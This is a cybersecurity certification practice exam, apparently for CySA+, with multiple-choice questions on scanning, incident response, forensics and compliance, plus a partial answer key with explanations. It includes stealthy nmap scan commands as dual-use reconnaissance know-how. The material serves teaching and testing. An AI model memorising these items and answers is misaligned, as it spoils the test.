In his role as a security manager, Luis and a small team of experts have prepared a scenario for his security and system administration teams to use during their annual security testing. His scenario includes the rules that both the defenders and attackers must follow, as well as a scoring rubric that he will use to determine which team wins the exercise. What term should Luis use to describe his team's role in the exercise?

White team

Red team

Gold team

Blue team

Lauren downloads a new security tool and checks its MD5. What does she know about the software she downloaded if she receives the following message?

        root@demo:~# md5sum -c demo.md5
        demo.txt: FAILED
        md5sum: WARNING: 1 computed checksum did not match

The file is corrupted.

Attackers have modified the file.

The files do not match.

The test failed and provided no answer.

Martha ran a vulnerability scan against a series of endpoints on her network and received the vulnerability report shown here. She investigated further and found that several endpoints are running Internet Explorer 7. What is the minimum version level of IE that is considered secure?

7

9

11

No version of Internet Explorer is considered secure.

During an incident investigation, Mateo is able to identify the IP address of the system that was used to compromise multiple systems belonging to his company. What can Mateo determine from this information?

The identity of the attacker

The country of origin of the attacker

The attacker's domain name

None of the above

Nick believes that an attacker has compromised a Linux workstation on his network and has added a new user. Unfortunately, most logging was not enabled on the system. Which of the following is most likely to provide useful information about which user was created most recently?

/etc/passwd

/var/log/auth.log

Run ls -ld /home/$username for each user on the system

Run ls -l /home/$username/.bash_logout to see the most recent logout time for each user on the system

After a major compromise involving what appears to be an APT, Jaime needs to conduct a forensic examination of the compromised systems. Which containment method should he recommend to ensure that he can fully investigate the systems that were involved while minimizing the risk to his organization's other production systems?

Sandboxing

Removal

Isolation

Segmentation

Piper is attempting to remediate a security vulnerability and must apply a patch to a production database server. The database administration team is concerned that the patch will disrupt business operations. How should Piper proceed?

She should deploy the patch immediately on the production system.

She should wait 60 days to deploy the patch to determine whether bugs are reported.

She should deploy the patch in a sandbox environment to test it prior to applying it in production.

She should contact the vendor to determine a safe timeframe for deploying the patch in production.

Kent ran a vulnerability scan of an internal CRM server that is routinely used by employees, and the scan reported that no services were accessible on the server. Employees continued to use the CRM application over the web without difficulty during the scan. What is the most likely source of Kent's result?

The server requires strong authentication.

The server uses encryption.

The scan was run from a different network perspective than user traffic.

The scanner's default settings do not check the ports used by the CRM application.

Steve needs to perform an nmap scan of a remote network and wants to be as stealthy as possible. Which of the following nmap commands will provide the stealthiest approach to his scan?

nmap -P0 -sT 10.0.10.0/24

nmap -sT -T0 10.0.10.0/24

nmap -P0 -sS 10.0.10.0/24

nmap -P0 -sS -T0 10.0.10.0/24

After performing threat hunting, Lakshman determines that it would be appropriate to disable some services on his organization's database servers. What activity is Lakshman engaging in?

Establishing a hypothesis

Gathering evidence

Reducing the attack surface

Executable process analysis

Jenna is configuring the scanning frequency for her organization's vulnerability scanning program. Which one of the following is the least important criteria for Jenna to consider?

Sensitivity of information stored on systems

Criticality of the business processes handled by systems

Operating system installed on systems

Exposure of the system to external networks

Donna is interpreting a vulnerability scan from her organization's network, shown here. She would like to determine which vulnerability to remediate first. Donna would like to focus on the most critical vulnerability according to the potential impact if exploited. Assuming the firewall is properly configured, which one of the following vulnerabilities should Donna give the highest priority?

Severity 5 vulnerability in the file server

Severity 3 vulnerability in the file server

Severity 4 vulnerability in the web server

Severity 2 vulnerability in the mail server

Which one of the following document categories provides the highest-level authority for an organization's cybersecurity program?

Policy

Standard

Procedure

Framework

Mateo is planning a vulnerability scanning program for his organization and is scheduling weekly scans of all the servers in his environment. He was approached by a group of system administrators who asked that they be given direct access to the scan reports without going through the security team. How should Mateo respond?

Mateo should provide the administrators with access.

Mateo should deny the administrators access because the information may reveal critical security issues.

Mateo should offer to provide the administrators with copies of the report after they go through a security review.

Mateo should deny the administrators access because it would allow them to correct security issues before they are analyzed by the security team.

During an incident investigation, Mateo discovers that attackers were able to query information about his routers and switches using SNMP. In addition, he discovers that the SNMP traffic was sent in plain text through his organization's network management backend network. Which version of SNMP would provide encryption and authentication features to help him prevent this in the future?

SNMP v1

SNMP v2

SNMP v3

SNMP v4

Which one of the following technologies promises to provide automated insight into security data?

Machine learning

Data enrichment

Continuous integration

Continuous delivery

While reviewing a report from a vulnerability scan of a web server, Paul encountered the vulnerability shown here. What is the easiest way for Paul to correct this vulnerability with minimal impact on the business?

Block ports 80 and 443.

Adjust directory permissions.

Block port 80 only to require the use of encryption.

Remove CGI from the server.

A log showing a successful user authentication is classified as what type of occurrence in NIST's definitions?

A security incident

A security event

An event

An adverse event

Mei used the dig command to attempt to look up the IP address for CompTIA's website and received the results shown here. What can Mei conclude from these results?

CompTIA's website is located at 198.134.5.6.

CompTIA's website is located at 172.30.0.2.

CompTIA's website is currently down.

The DNS search failed, but you cannot draw any conclusions about the website.

Fran is trying to run a vulnerability scan of a web server from an external network, and the scanner is reporting that there are no services running on the web server. She verified the scan configuration and attempted to access the website running on that server using a web browser on a computer located on the same external network and experienced no difficulty. What is the most likely issue with the scan?

A host firewall is blocking access to the server.

A network firewall is blocking access to the server.

An intrusion prevention system is blocking access to the server.

Fran is scanning the wrong IP address.

Chapter 7
Practice Exam 2

Ty is reviewing the scan report for a Windows system joined to his organization's domain and finds the vulnerability shown here. What should be Ty's most significant concern related to this vulnerability?

The presence of this vulnerability indicates that an attacker may have compromised his network.

The presence of this vulnerability indicates a misconfiguration on the target server.

The presence of this vulnerability indicates that the domain security policy may be lacking appropriate controls.

The presence of this vulnerability indicates a critical flaw on the target server that must be addressed immediately.

During an incident investigation, Chris discovers that attackers were able to query information about his routers and switches using SNMP. Chris finds that his routers used “public” and “private” as their community strings. Which of the following is not an appropriate action to take to help secure SNMP in Chris's organization?

Add complexity requirements to the SNMP community string.

Enable and configure SNMP v2c.

Enable and require TLS setting for SNMP.

Apply different SNMP community strings to devices with different security levels.

Heidi runs a vulnerability scan of the management interface of her organization's virtualization platform and finds the severity 1 vulnerability shown here. What circumstance, if present, should increase the severity level of this vulnerability to Heidi?

Lack of encryption

Missing security patch

Exposure to external networks

Out-of-date antivirus signatures

Rowan ran a port scan against a network switch located on her organization's internal network and discovered the results shown here. She ran the scan from her workstation on the employee VLAN. Which one of the following results should be of greatest concern to her?

Port 22

Port 23

Port 80

Ports 8192 to 8194

Evan is troubleshooting a vulnerability scan issue on his network. He is conducting an external scan of a website located on the web server shown in the diagram. After checking the Apache httpd logs on the web server, he saw no sign of the scan requests. Which one of the following causes is the least likely issue for him to troubleshoot?

The scans are being blocked by an intrusion prevention system.

The scans are being blocked by an Apache .htaccess file.

The scans are being blocked by a network firewall.

The scans are being blocked by a host firewall.

Sam is looking for evidence of software that was installed on a Windows 10 system. He believes that the programs were deleted and that the suspect used both registry and log cleaners to hide evidence. What Windows feature can't he use to find evidence of the use of these programs?

The MFT

Volume shadow copies

The shim (application compatibility) cache

Prefetch files

Mila is evaluating the security of an application developed within her organization. She would like to assess the application's security by supplying it with invalid inputs. What technique is Mila planning to use?

Fault injection

Stress testing

Mutation testing

Fuzz testing

A port scan conducted during a security assessment shows the following results. What type of device has most likely been scanned?

Nmap scan report for EXAMPLE (192.168.1.79)
Host is up (1.00s latency).
Not shown: 992 closed ports
PORT     STATE
21/tcp   open
23/tcp   open
80/tcp   open
280/tcp  open
443/tcp  open
515/tcp  open
631/tcp  open
9100/tcp open
Nmap done: 1 IP address (1 host up) scanned in 124.20 seconds

A wireless access point

A server

A printer

A switch

Kim is reviewing the data gathered by the first responder to a security incident and comes across a text file containing the output shown here. What command generated this output?

traceroute

netstat

ifconfig

sockets

Which of the following is not one of the major categories of security event indicators described by NIST 800-61?

Alerts from IDS, IPS, SIEM, AV, and other security systems

Logs generated by systems, services, and applications

Exploit developers

Internal and external sources

During an nmap scan of a network, Charles receives the following response from nmap:

Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-21 20:03 EDT
Nmap done: 256 IP addresses (0 hosts up) scanned in 29.74 seconds

What can Charles deduce about the network segment from these results?

There are no active hosts in the network segment.

All hosts on the network segment are firewalled.

The scan was misconfigured.

Charles cannot determine if there are hosts on the network segment from this scan.

Oskar is designing a vulnerability management program for his company, a hosted service provider. He would like to check all relevant documents for customer requirements that may affect his scanning. Which one of the following documents is least likely to contain this information?

BPA

SLA

MOU

BIA

During a port scan of a server, Gwen discovered that the following ports are open on the internal network:

TCP port 25

TCP port 80

TCP port 110

TCP port 443

TCP port 1521

TCP port 3389

Of the services listed here, for which one does the scan not provide evidence that it is likely running on the server?

Web

Database

SSH

Email

As part of her forensic analysis of a wiped thumb drive, Selah runs Scalpel to carve data from the image she created. After running Scalpel, she sees the following in the audit.log file created by the program. What should Selah do next?

Run a data recovery program on the drive to retrieve the files.

Run Scalpel in filename recovery mode to retrieve the actual filenames and directory structures of the files.

Review the contents of the scalpelout folder.

Use the identified filenames to process the file using a full forensic suite.

As part of a government acquisitions program for the U.S. Department of Defense (DoD), Sean is required to ensure that the chips and other hardware-level components used in the switches, routers, and servers that he purchases do not include malware or other potential attack vectors. What type of supplier should Sean seek out?

A TPM

An OEM provider

A trusted foundry

A gray-market provider

One of the servers that Adam is responsible for recently ran out of disk space. Despite system-level alarms, the problem was not detected, resulting in an outage when the server crashed. How would this issue be categorized if the NIST threat categorization method were used as part of an after-action review?

Environmental

Adversarial

Accidental

Structural

Pranab would like guidance on grouping information into varying levels of sensitivity. He plans to use these groupings to assist with decisions around the security controls that the organization will apply to storage devices containing that information. Which one of the following policies is most likely to contain relevant information for Pranab's decision-making process?

Data retention policy

Data classification policy

Data encryption policy

Data disposal policy

Erin is attempting to collect network configuration information from a Windows system on her network. She is familiar with the Linux operating system and would use the ifconfig command to obtain the desired information on a Linux system. What equivalent command should she use in Windows?

ipconfig

netstat

ifconfig

netcfg

Lonnie ran a vulnerability scan of a server that he recently detected in his organization that is not listed in the organization's configuration management database. One of the vulnerabilities detected is shown here. What type of service is most likely running on this server?

Database

Web

Time

Network management

Jorge would like to use a standardized system for evaluating the severity of security vulnerabilities. What SCAP component offers this capability?

CPE

CVE

CVSS

CCE

When performing threat-hunting activities, what are cybersecurity analysts most directly seeking?

Vulnerabilities

Indicators of compromise

Misconfigurations

Unpatched systems

Taylor is preparing to run vulnerability scans of a web application server that his organization recently deployed for public access. He would like to understand what information is available to a potential external attacker about the system as well as what damage an attacker might be able to cause on the system. Which one of the following scan types would be least likely to provide this type of information?

Internal network vulnerability scan

Port scan

Web application vulnerability scan

External network vulnerability scan

While analyzing a packet capture in Wireshark, Chris finds the packet shown here. Which of the following is he unable to determine from this packet?

That the username used was gnome

That the protocol used was FTP

That the password was gnome123

That the remote system was 137.30.120.40

Cynthia's review of her network traffic focuses on the graph shown here. What occurred in late June?

Beaconing

High network bandwidth consumption

A denial-of-service attack

A link failure

Carlos arrived at the office this morning to find a subpoena on his desk requesting electronic records in his control. What type of procedure should he consult to determine appropriate next steps, including the people he should consult and the technical process he should follow?

Evidence production procedure

Monitoring procedure

Data classification procedure

Patching procedure

Pranab is attempting to determine what services a Windows system is running and decides to use the netstat -at command to list TCP ports. He receives the output shown here. The system is most likely running which services?

A plain-text web server, Microsoft file sharing, and a secure web server

SSH, email, and a plain-text web server

An email server, a plain-text web server, and Microsoft-DS

A plain-text web server, Microsoft RPC, and Microsoft-DS

Paul is researching models for implementing an IT help desk and would like to draw upon best practices in the industry. Which one of the following standard frameworks would provide Paul with the best guidance?

ISO

ITIL

COBIT

PCI DSS

Which stage of the incident response process includes activities such as adding IPS signatures to detect new attacks?

Detection and analysis

Containment, eradication, and recovery

Postincident activity

Preparation

Gloria is configuring vulnerability scans for a new web server in her organization. The server is located on the DMZ network, as shown here. What type of scans should Gloria configure for best results?

Gloria should not scan servers located in the DMZ.

Gloria should perform only internal scans of the server.

Gloria should perform only external scans of the server.

Gloria should perform both internal and external scans of the server.

Pranab is preparing to reuse media that contained data that his organization classifies as having “moderate” value. If he wants to follow NIST SP 800-88's guidelines, what should he do to the media if the media will not leave his organization's control?

Reformat it

Clear it

Purge it

Destroy it

Susan is building an incident response program and intends to implement NIST's recommended actions to improve the effectiveness of incident analysis. Which of the following items is not a NIST-recommended incident analysis improvement?

Perform behavioral baselining.

Create and implement a logging policy.

Set system BIOS clocks regularly.

Maintain an organizationwide system configuration database.

Jim's nmap port scan of a system showed the following list of ports:

PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
902/tcp  open  iss-realsecure
912/tcp  open  apex-mesh
3389/tcp open  ms-wbt-server

What operating system is the remote system most likely running?

Windows

Linux

An embedded OS

macOS

The Snort IPS that Adam has configured includes a rule that reads as follows:

alert tcp $EXTERNAL_NET any -> 10.0.10.0/24 80
(msg:"Alert!";
content:"http|3a|//www.example.com/download.php"; nocase;
offset:12; classtype: web-application-activity;sid:5555555; rev:1;)

What type of detection method is Adam using?

Anomaly-based

Trend-based

Availability-based

Behavioral-based

Peter works for an organization that is joining a consortium of similar organizations that use a federated identity management system. He is configuring his identity management system to participate in the federation. Specifically, he wants to ensure that users at his organization will be able to use their credentials to access federated services. What role is Peter configuring?

Relying party

Service provider

Identity provider

Consumer

Helen is seeking to protect her organization against attacks that involve the theft of user credentials. Which one of the following threats poses the greatest risk of credential theft in most organizations?

DNS poisoning

Phishing

Telephone-based social engineering

Shoulder surfing

As part of her duties as an SOC analyst, Emily is tasked with monitoring intrusion detection sensors that cover her employer's corporate headquarters network. During her shift, Emily's IDS reports that a network scan has occurred from a system with IP address 10.0.11.19 on the organization's unauthenticated guest wireless network aimed at systems on an external network. What should Emily's first step be?

Report the event to the impacted third parties.

Report the event to law enforcement.

Check the system's MAC address against known assets.

Check authentication logs to identify the logged-in user.

Which of the following commands is not useful for validating user permissions on a Linux system?

more /etc/sudoers

groups

stat

strings

Tommy's company recently implemented a new policy that restricts root access to its cloud computing service provider master account. This policy requires that a team member from the operations group retrieve a password from a password vault to log in to the account. The account then uses two-factor authentication that requires that a team member from the security group approve the login. What type of control is the company using?

Separation of duties

Privileged account monitoring

Dual control

Least privilege

Sai works in an environment that is subject to the Payment Card Industry Data Security Standard (PCI DSS). He realizes that technical constraints prevent the organization from meeting a specific PCI DSS requirement and wants to implement a compensating control. Which one of the following statements is not true about proper compensating controls?

The control must include a clear audit mechanism.

The control must meet the intent and rigor of the original requirement.

The control must provide a similar level of defense as the original requirement provides.

The control must be above and beyond other requirements.

Lou recently scanned a web server in his environment and received the vulnerability report shown here. What action can Lou take to address this vulnerability?

Configure TLS

Replace the certificate

Unblock port 443

Block port 80

Mike's company recently suffered a security incident when they lost control of thousands of personal customer records. Many of these records were from projects that ended long ago and served no business purpose. What type of policy, if followed, would have best limited the impact of this incident?

Data ownership policy

Account management policy

Acceptable use policy

Data retention policy

Which of the following factors is not typically considered when determining whether evidence should be retained?

Media life span

Likelihood of civil litigation

Organizational retention policies

Likelihood of criminal prosecution

Match each of the following with the appropriate element of the CIA Triad:

A hard drive failure resulting in a service outage

A termination letter that is left on a printer and read by others in the department

Modification of an email's content by a third party

1. Integrity, 2. Confidentiality, 3. Confidentiality

1. Integrity, 2. Confidentiality, 3. Availability

1. Availability, 2. Availability, 3. Confidentiality

1. Availability, 2. Confidentiality, 3. Integrity

Niesha discovered the vulnerability shown here on a server running in her organization. What would be the best way for Niesha to resolve this issue?

Disable the use of AES-GCM.

Upgrade OpenSSH.

Upgrade the operating system.

Update antivirus signatures.

As part of her postincident recovery process, Alicia creates a separate virtual network as shown here to contain compromised systems she needs to investigate. What containment technique is she using?

Segmentation

Isolation

Removal

Reverse engineering

Jennifer is reviewing her network monitoring configurations and sees the following chart for a system she runs remotely in Amazon's Web Services (AWS) environment more than 400 miles away. What can she use this data for?

Incident response; she needs to determine the issue causing the spikes in response time.

The high packet loss must be investigated, since it may indicate a denial-of-service attack.

She can use this data to determine a reasonable response time baseline.

The high response time must be investigated, since it may indicate a denial-of-service attack.

The Windows system that Abdul is conducting live forensics on shows a partition map, as shown here. If Abdul believes that a hidden partition was deleted resulting in the unallocated space, which of the following tools is best suited to identifying the data found in the unallocated space?

Scalpel

DBAN

parted

dd

During a postmortem forensic analysis of a Windows system that was shut down after its user saw strange behavior, Pranab concludes that the system he is reviewing was likely infected with a memory-resident malware package. What is his best means of finding the malware?

Search for a core dump or hiberfil.sys to analyze.

Review the INDX files and Windows registry for signs of infection.

Boot the system and then use a tool like the Volatility Framework to capture live memory.

Check volume shadow copies for historic information prior to the reboot.

Juliette's organization recently suffered a cross-site scripting attack, and she plans to implement input validation to protect against the recurrence of such attacks in the future. Which one of the following HTML tags should be most carefully scrutinized when it appears in user input?

<SCRIPT>

<XSS>

<B>

<EM>

Jessie needs to prevent port scans like the scan shown here. Which of the following is a valid method for preventing port scans?

Not registering systems in DNS

Using a firewall to restrict traffic to only ports required for business purposes

Using a heuristic detection rule on an IPS

Implementing port security

The IT services company that Pranab works for uses the NIST functional impact categories to describe the impact of incidents. During a recent construction project, a contractor plugged a network device in twice to the same switch, resulting in a network loop and taking down the organization's network for a third of their users. How should Pranab classify this event?

Urgent

Medium

Important

High

What information can be gathered by observing the distinct default values of the following TCP/IP fields during reconnaissance activities: initial packet size, initial TTL, window size, maximum segment size, and flags?

The target system's TCP version

The target system's operating system

The target system's MAC address

These fields are only useful for packet analysis

Brooke would like to find a technology platform that automates workflows across a variety of security tools, including the automated response to security incidents. What category of tool best meets this need?

SIEM

NIPS

SOAR

DLP

Miray needs to identify the device or storage type that has the lowest order of volatility. Which of the following is the least volatile?

Network traffic

A solid-state drive

A spinning hard drive

A DVD-ROM

Henry recently completed a vulnerability scan of his organization's datacenter and received the vulnerability report shown here from a server running in the data center. This server is running on a virtualization platform running on a bare-metal hypervisor. Where must Henry correct this issue?

Guest operating system

Hypervisor

Application

Host operating system

Luis is an IT consultant brought in to assess the maturity of risk management practices at a firm using the NIST Cybersecurity Framework. During his evaluation, he determines that the organization does use an organizationwide approach to managing cybersecurity risk but that it does not use risk-informed policies, processes, and procedures to address potential cybersecurity events. At what tier of the Cybersecurity Framework does this organization's risk management program reside?

Tier 1: Partial

Tier 2: Risk Informed

Tier 3: Repeatable

Tier 4: Adaptive

After receiving complaints about a system on her network not performing correctly, Anastasia decides to investigate the issue by capturing traffic with Wireshark. The captured traffic is shown here. What type of issue is Anastasia most likely seeing?

A link failure

A failed three-way handshake

A DDoS

A SYN flood

During a log review, Lisa sees repeated firewall entries, as shown here:

Sep 16 2019 23:01:37: %ASA-4-106023: Deny tcp src
outside:10.10.0.100/53534 dst
inside:192.168.1.128/1521 by
access-group "OUTSIDE" [0x5063b82f, 0x0]
Sep 16 2019 23:01:38: %ASA-4-106023: Deny tcp src
outside:10.10.0.100/53534 dst
inside:192.168.1.128/1521 by
access-group "OUTSIDE" [0x5063b82f, 0x0]
Sep 16 2019 23:01:39: %ASA-4-106023: Deny tcp src
outside:10.10.0.100/53534 dst
inside:192.168.1.128/1521 by
access-group "OUTSIDE" [0x5063b82f, 0x0]
Sep 16 2019 23:01:40: %ASA-4-106023: Deny tcp src
outside:10.10.0.100/53534 dst
inside:192.168.1.128/1521 by
access-group "OUTSIDE" [0x5063b82f, 0x0]

What service is the remote system most likely attempting to access?

H.323

SNMP

MS-SQL

Oracle

After finishing a forensic case, Lucas needs to wipe the media that he is using to prepare it for the next case. Which of the following methods is best suited to preparing the SSD that he will use?

Degauss the drive.

Zero-write the drive.

Use a PRNG.

Use the ATA Secure Erase command.

Luis is creating a vulnerability management program for his company. He only has the resources to conduct daily scans of approximately 10 percent of his systems, and the rest will be scheduled for weekly scans. He would like to ensure that the systems containing the most sensitive information receive scans on a more frequent basis. What criterion is Luis using?

Data privacy

Data remanence

Data retention

Data classification

While investigating a cybersecurity incident, Bob discovers the file shown here stored on a system on his network. Which one of the following tools most likely generated this file?

Cain & Abel

Metasploit

ftk

John the Ripper

During a security exercise, which team engages in offensive operations designed to compromise security controls?

Black team

Red team

Blue team

White team

Peter is designing a vulnerability scanning program for the large chain of retail stores where he works. The store operates point-of-sale terminals in its retail stores as well as an e-commerce website. Which one of the following statements about PCI DSS compliance is not true?

Peter's company must hire an approved scanning vendor to perform vulnerability scans.

The scanning program must include, at a minimum, weekly scans of the internal network.

The point-of-sale terminals and website both require vulnerability scans.

Peter may perform some required vulnerability scans on his own.

Rachel discovered the vulnerability shown here when scanning a web server in her organization. Which one of the following approaches would best resolve this issue?

Patching the server

Performing input validation

Adjusting firewall rules

Rewriting the application code

Charlene's incident response team is fighting a rapidly spreading zero-day malware package that silently installs via Adobe Flash a vulnerability when an email attachment is viewed via webmail. After identifying a compromised system, she determines that the system is beaconing to a group of fast flux DNS entries. Which of the following techniques is best suited to identifying other infected hosts?

Update antivirus software and scan using the latest definitions.

Monitor for the IP addresses associated with the command-and-control systems.

Log DNS queries to identify compromised systems.

Check email logs for potential recipients of the message.

What nmap feature is enabled with the -O flag?

OS detection

Online/offline detection

Origami attack detection

Origination port validation

Mika uses a security token like the unit shown here and a password to authenticate to her PayPal account. What two types of factors is she using?

Something she knows and something she has

Something she knows and something she is

Something she is and something she has

Mika is only using one type of factor because she knows the token code and her password

Jose is working with his manager to implement a vulnerability management program for his company. His manager tells him that he should focus on remediating critical and high-severity risks to externally accessible systems. He also tells Jose that the organization does not want to address risks on systems without any external exposure or risks rated medium or lower. Jose disagrees with this approach and believes that he should also address critical and high-severity risks on internal systems. How should he handle the situation?

Jose should recognize that his manager has made a decision based upon the organization's risk appetite and should accept it and carry out his manager's request.

Jose should discuss his opinion with his manager and request that the remediation criteria be changed.

Jose should ask his manager's supervisor for a meeting to discuss his concerns about the manager's approach.

Jose should carry out the remediation program in the manner that he feels is appropriate because it will address all of the risks identified by the manager as well as additional risks.

Susan needs to test thousands of submitted binaries. She needs to ensure that the applications do not contain malicious code. What technique is best suited to this need?

Sandboxing

Implementing a honeypot

Decompiling and analyzing the application code

Fagan testing

When conducting a quantitative risk assessment, what term describes the total amount of damage expected to occur as a result of one incident?

EF

SLE

AV

ALE

Chris is implementing cryptographic controls to protect his organization and would like to use defense-in-depth controls to protect sensitive information stored and transmitted by a web server. Which one of the following controls would be least suitable to directly provide this protection?

TLS

VPN

DLP

FDE

Alex needs to deploy a solution that will limit access to his network to only authorized individuals while also ensuring that the systems that connect to the network meet his organization's patching, antivirus, and configuration requirements. Which of the following technologies will best meet these requirements?

Whitelisting

Port security

NAC

EAP

Chris has been tasked with removing data from systems and devices that leave his organization. One of the devices is a large multifunction device that combines copying, fax, and printing capabilities. It has a built-in hard drive to store print jobs and was used in an office that handles highly sensitive business information. If the multifunction device is leased, what is his best option for handling the drive?

Destroy the drive.

Reformat the drive using the MFD's built-in formatting program.

Remove the drive and format it using a separate PC.

Remove the drive and purge it.

Rhonda recently configured new vulnerability scans for her organization's datacenter. Completing the scans according to current specifications requires that they run all day, every day. After the first day of scanning, Rhonda received complaints from administrators of network congestion during peak business hours. How should Rhonda handle this situation?

Adjust the scanning frequency to avoid scanning during peak times.

Request that network administrators increase available bandwidth to accommodate scanning.

Inform the administrators of the importance of scanning and ask them to adjust the business requirements.

Ignore the request because it does not meet security objectives.

After restoring a system from 30-day-old backups after a compromise, administrators at Piper's company return the system to service. Shortly after that, Piper detects similar signs of compromise again. Why is restoring a system from a backup problematic in many cases?

Backups cannot be tested for security issues.

Restoring from backup may reintroduce the original vulnerability.

Backups are performed with the firewall off and are insecure after restoration.

Backups cannot be properly secured.

Captured network traffic from a compromised system shows it reaching out to a series of five remote IP addresses that change on a regular basis. Since the system is believed to be compromised, the system's Internet access is blocked, and the system is isolated to a quarantine VLAN.

When forensic investigators review the system, no evidence of malware is found. Which of the following scenarios is most likely?

The system was not infected, and the detection was a false positive.

The beaconing behavior was part of a web bug.

The beaconing behavior was due to a misconfigured application.

The malware removed itself after losing network connectivity.

Which one of the following ISO standards provides guidance on the development and implementation of information security management systems?

ISO 27001

ISO 9000

ISO 11120

ISO 23270

Mika's forensic examination of a compromised Linux system is focused on determining what level of access attackers may have achieved using a compromised www account. Which of the following is not useful if she wants to check for elevated privileges associated with the www user?

/etc/passwd

/etc/shadow

/etc/sudoers

/etc/group

Tracy is validating the web application security controls used by her organization. She wants to ensure that the organization is prepared to conduct forensic investigations of future security incidents. Which one of the following OWASP control categories is most likely to contribute to this effort?

Implement logging

Validate all inputs

Parameterize queries

Error and exception handling

Jamal is using agent-based scanning to assess the security of his environment. Every time that Jamal runs a vulnerability scan against a particular system, it causes the system to hang. He spoke with the system administrator, who provided him with a report showing that the system is current with patches and has a properly configured firewall that allows access only from a small set of trusted internal servers. Jamal and the server administrator both consulted the vendor, and they are unable to determine the cause of the crashes and suspect that it may be a side effect of the agent. What would be Jamal's most appropriate course of action?

Approve an exception for this server.

Continue scanning the server each day.

Require that the issue be corrected in 14 days and then resume scanning.

Decommission the server.

Brent's organization runs a web application that recently fell victim to a man-in-the-middle attack. Which one of the following controls serves as the best defense against this type of attack?

HTTPS

Input validation

Patching

Firewall

During an nmap port scan using the -sV flag to determine service versions, Ling discovers that the version of SSH on the Linux system she is scanning is not up-to-date. When she asks the system administrators, they inform her that the system is fully patched and that the SSH version is current. What issue is Ling most likely experiencing?

The system administrators are incorrect.

The nmap version identification is using the banner to determine the service version.

nmap does not provide service version information, so Ling cannot determine version levels in this way.

The systems have not been rebooted since they were patched.

Tyler scans his organization's mail server for vulnerabilities and finds the result shown here. What should be his next step?

Shut down the server immediately.

Initiate the change management process.

Apply the patch.

Rerun the scan.

Carla is performing a penetration test of a web application and would like to use a software package that allows her to modify requests being sent from her system to a remote web server. Which one of the following tools would not meet Carla's needs?

Nessus

Burp

ZAP

Tamper Data

Alex learns that a recent Microsoft patch covers a zero-day exploit in Microsoft Office that occurs because of incorrect memory handling. The flaw is described as potentially resulting in memory corruption and arbitrary code execution in the context of the current privilege level. Exploitation of the flaws can occur if victims open a specifically crafted Office document in a vulnerable version of Microsoft Office.

If Alex finds out that approximately 15 of the workstations in his organization have been compromised by this malware, including one workstation belonging to a domain administrator, what phase of the incident response process should he enter next?

Preparation

Detection and analysis

Containment, eradication, and recovery

Postincident activity

Appendix: Answers to Review Questions

Answers to Chapter 1: Domain 1.0: Threat and Vulnerability Management

B. Open source intelligence is freely available information that does not require a subscription fee. Closed source and proprietary intelligence are synonyms and do involve payments to the providers. Vulnerability feeds may be considered threat intelligence, but they normally come with subscription fees.

A. Although it may seem strange, a DNS brute-force attack that queries a list of IPs, common subdomains, or other lists of targets will often bypass intrusion detection and prevention systems that do not pay particular attention to DNS queries. Cynthia may even be able to find a DNS server that is not protected by the organization's IPS! nmap scans are commonly used during reconnaissance, and Cynthia can expect them to be detected since they are harder to conceal. Cynthia shouldn't expect to be able to perform a zone transfer, and if she can, a well-configured IPS should immediately flag the event.

D. An intelligence source that results in false positive errors is lacking in accuracy because it is providing incorrect results to the organization. Those results may still be timely and relevant, but they are not correct. Expense is not one of the three intelligence criteria.

A. Structured Threat Information eXpression (STIX) is an XML language originally sponsored by the U.S. Department of Homeland Security. In its current version, STIX 2.0 defines 12 STIX domain objects, including things like attack patterns, identities, malware, threat actors, and tools. TAXII is designed to support STIX data exchange between security components over HTTPS. OpenIOC is an XML framework for the exchange of indicators of compromise (IOCs). STIX uses XML, but XML itself does not provide a mechanism for describing security information until used as a vehicle for expressing STIX objects.

C. MySQL uses port 3306 as its default port. Oracle uses 1521, Postgres uses 5432, and Microsoft SQL uses 1433/1434.

B. It is possible for any of these threat actors to be affiliated with an APT, but the highest likelihood is that a sophisticated APT threat would be associated with a nation-state, rather than a less-resourced alternative.

A. Cynthia's first action should be to determine whether there is a legitimate reason for the workstation to have the listed ports open.

D. The organization determines what type of information it needs to collect during the requirements phase of the intelligence cycle. This type of information could also be gathered during the feedback phase, but this question states that the program is new, so Charles would not yet have collected feedback.

A. The sharing of intelligence information with customers takes place during the dissemination phase of the intelligence cycle.

B. The Department of Homeland Security collaborates with industry through information sharing and analysis centers (ISACs). These ISACs cover industries such as healthcare, financial, aviation, government, and critical infrastructure.

C. All of the threats described here are serious threats that exist in modern enterprises. However, the most pervasive threat is commodity malware, which threatens essentially every computing environment on an almost constant basis.

C. This source provides information about IP addresses based on past behavior. This makes it a reputational source. A behavioral source would look at information about current behavior. This is a product offered by Cisco and is proprietary, not open source. It does not provide indicators that would help you determine whether your system had been compromised.

D. This analysis used the Diamond Model of Intrusion Analysis, which describes a sequence where an adversary deploys a capability targeted at an infrastructure against a victim. The Diamond Model draws its name from the shape of the diagram created during the analysis.

D. This is an example of function-as-a-service (FaaS) computing. A service like Lambda could also be described as platform-as-a-service (PaaS), because FaaS is a subset of PaaS. However, the term FaaS is the one that best describes this service.

C. Detection systems placed in otherwise unused network space will detect scans that blindly traverse IP ranges. Since no public services are listed, attackers who scan this range can be presumed to be hostile and are often immediately blocked by security devices that protect production systems.

D. Nara can reduce the number of services in her environment that are exposed to a brute-force attack. This is a means of reducing the total attack surface. She can't alter characteristics of her adversary, such as the adversary's capability, choice of attack vectors, or likelihood of launching an attack.

C. This flow sample shows four distinct hosts being accessed from 192.168.2.1. They are 10.2.3.1, 10.6.2.4, 10.6.2.5, and 10.8.2.5.

A. Threat intelligence information is not commonly shared with legal counsel on a routine basis. CompTIA's CySA+ objectives list the following common recipients: incident response, vulnerability management, risk management, security engineering, and detection and monitoring.

D. Community clouds are cloud computing environments available only to members of a collaborative community, such as a set of universities. Public clouds are available to any customers who wish to use them. Private clouds are for the use of the organization building the cloud only. Hybrid clouds mix elements of public and private clouds in an enterprise computing strategy.

D. netstat is found on Windows, Linux, and macOS systems and can provide information about other systems on the network and can provide information about open ports and systems that the host has connected to. Chris can search for common web and database server service ports to help identify the local targets he is looking for.

B. Cloud Formation allows engineers to write code that creates infrastructure. This is an example of infrastructure as code (IAC) computing.

C. By default, nmap uses a TCP SYN scan. If the user does not have proper socket privileges (such as root on a Linux system), it will use a TCP connect scan.

D. Netcat, telnet, and wget can all be used to conduct Isaac's banner-grabbing exercise. FTP will not connect properly to get the banner he wants to see.

